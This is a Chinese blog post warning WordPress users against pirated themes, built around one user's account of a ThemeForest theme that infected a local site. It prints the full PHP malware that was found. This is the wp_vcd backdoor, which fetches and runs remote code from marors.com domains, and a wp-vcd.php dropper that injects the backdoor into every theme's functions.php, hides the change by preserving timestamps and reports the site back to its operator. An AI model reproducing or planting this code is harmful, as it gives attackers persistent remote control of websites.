AIDE技术官网
AIDEZY.COM

使用WordPress等系统盗版主题的严重后果

使用WordPress等系统盗版主题的严重后果

使用WordPress等系统盗版主题的严重后果

前言:

使用WordPress等系统盗版主题的严重后果,如果对你有帮助就看看吧。

正文:

今天给大家分享一篇国外的WordPress盗版主题的文章。

主题森林相信国内WordPress用户都很熟习,来自该网站的收费主题在国内盗版横行,一些无良者对主题进行所谓优化、汉化后直接出售,更有甚者居然还有冒充国内代理的。主题森林大部分主题并不像国内主题需要加密绑域名或远程验证防盗版(因为国外用盗版是犯罪行为根本不需要这个),并且在主题森林购买主题后可以退款,因为主题并没有任何防范措施,主题森林并不会收回你已获得的主题包,你可以完全正常使用。什么时候国内能有这让我们大中华人民不可理解的商业行为,相信国内会有更多优秀的 WordPress 主题出现。

这里转篇应该是来自孟加拉的一个WordPresse 用户,下载并使用盗版WordPresse主题的可怕经历。

笔者为了测试兼容性,谷歌上搜索并在一个专门提供盗版主题下载的网站,下载了一款来自Theme Forest(主题森林)的高级收费主题,笔者虽然也感觉有些可疑但并没多想,直接在本地环境中安装并启用。

笔者本身有一定的技术,也怕主题中捆绑恶意代码,还特意查看一下主题函数模板functions.php中有无可疑代码,但并未发现可疑的东西,于是勇敢地激活启用主题,还有些小鸡冻!

当完成测试切换到WP默认主题后,Query Monitor 监视器插件发出警告。

于是笔者打开当前主题的functions.php发现如下代码:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) {

$div_code_name = "wp_vcd";

switch ($_REQUEST['action']) {

case 'change_domain';

if (isset($_REQUEST['newdomain'])) {

if (!empty($_REQUEST['newdomain'])) {

if ($file = @file_get_contents(__FILE__)) {

if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {

$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);

@file_put_contents(__FILE__, $file);

print "true";

}

}

}

}

break;

case 'change_code';

if (isset($_REQUEST['newcode'])) {

if (!empty($_REQUEST['newcode'])) {

if ($file = @file_get_contents(__FILE__)) {

if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {

$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']) , $file);

@file_put_contents(__FILE__, $file);

print "true";

}

}

}

}

break;

default:

print "ERROR_WP_ACTION WP_V_CD WP_CD";

}

die("");

}

$div_code_name = "wp_vcd";

$funcfile = __FILE__;

if (!function_exists('theme_temp_setup')) {

$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];

if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

function file_get_contents_tcurl($url)

{

$ch = curl_init();

curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

$data = curl_exec($ch);

curl_close($ch);

return $data;

}

function theme_temp_setup($phpCode)

{

$tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");

$handle = fopen($tmpfname, "w+");

if (fwrite($handle, "<?php\n" . $phpCode)) {

}

else {

$tmpfname = tempnam('./', "theme_temp_setup");

$handle = fopen($tmpfname, "w+");

fwrite($handle, "<?php\n" . $phpCode);

}

fclose($handle);

include $tmpfname;

unlink($tmpfname);

return get_defined_vars();

}

$wp_auth_key = '358d76c863c31b2e1a46192808b08590';

if (($tmpcontent = @file_get_contents("http://www.marors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.marors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

@file_put_contents('wp-tmp.php', $tmpcontent);

}

}

}

}

elseif ($tmpcontent = @file_get_contents("http://www.marors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

@file_put_contents('wp-tmp.php', $tmpcontent);

}

}

}

}

elseif ($tmpcontent = @file_get_contents("http://www.marors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

@file_put_contents('wp-tmp.php', $tmpcontent);

}

}

}

}

elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

}

elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

}

elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

}

}

}

// $start_wp_theme_tmp

// wp_tmp

// $end_wp_theme_tmp

?>

通过这些代码,攻击者可以按自己的意愿在主题或服务器中推送任何代码。笔者庆幸自己没有在主机环境中安装这个主题,否则不知道会发生什么!但当前使用的这个并不是之前下载的那个盗版主题,经查看,所有WordPress本地环境中的主题的functions.php文件都被这个代码感染了,这太可怕了 !

删除这些代码后,Query Monitor 监视器插件仍然报告相同的错误,那怎么可能呢 ?再次打开文件,令人惊讶的是,代码又出现了!最终判定在向主题中注入代码的同时,它肯定还做了一些其他的事情。需要检查WordPress核心文件,经查创建了两个新文件并修改了一个核心文件包括文件夹。其中一个文件名称:wp-vcd.php,代码如下:

<?php
error_reporting(0);

// gICAgICAgICAgICA

ini_set('display_errors', 0);

// 2V0KCRfUkVRVUVTVFsn

$install_code = '<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='358d76c863c31b2e1a46192808b08590';
        if (($tmpcontent = @file_get_contents("http://www.marors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.marors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.marors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.marors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}', $install_hash, base64_decode($install_code));
$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
$ping2 = false;

if ($list = scandir($themes)) {
foreach($list as $_) {
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
if (strpos($content, 'WP_V_CD') === false) {
$content = $install_code . $content;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $time);
}
else {
$ping = false;
}
}
}
else {
$list2 = scandir($themes . DIRECTORY_SEPARATOR . $_);
foreach($list2 as $_2) {
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
if (strpos($content, 'WP_V_CD') === false) {
$content = $install_code . $content;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $time);
$ping2 = true;
}
else {

// $ping = false;

}
}
}
}
}
}

if ($ping) {
$content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

// @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt'));

}

if ($ping2) {
$content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

// @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt'));
// echo ABSPATH . 'wp-includes/class.wp.php';

}
}

?><?php
error_reporting(0); ?>

最后想说的:

  • 1.盗版主题大部分都包含木马及后门程序,辛苦建好的网站谁也不想付诸东流,为了爱站,拒绝盗版。
  • 2.盗版主题多为陈旧老版本,漏洞多,bug多,使用起来问题百出,免费的未必是最好的,为了效率,拒绝盗版。
  • 3.盗版主题均无售后服务支持,出问题只能自己解决,正版用户均可享受售后服务,技术支持,并永久跟随官方升级更新,为了服务,拒绝盗版。

请不要在自己的网站上使用任何盗版主题和插件,不要相信这些插件或提供盗版主题的网站,否则将使你的宝贵数据丢失或者被黑客攻击。请不要尝试将上面的代码复制到主题中,后果自负。很多年前,我也喜欢尝试安装各种主题和插件,也遇到过类似的事情况,这里奉劝大家小心为上!

搜一下

海报生成 赞(2) 打赏

来都来了!评论一下呗! 抢沙发

  • QQ (自动获取名称头像等信息|选填)
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址 (选填)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

登录

忘记密码 ?

切换登录

注册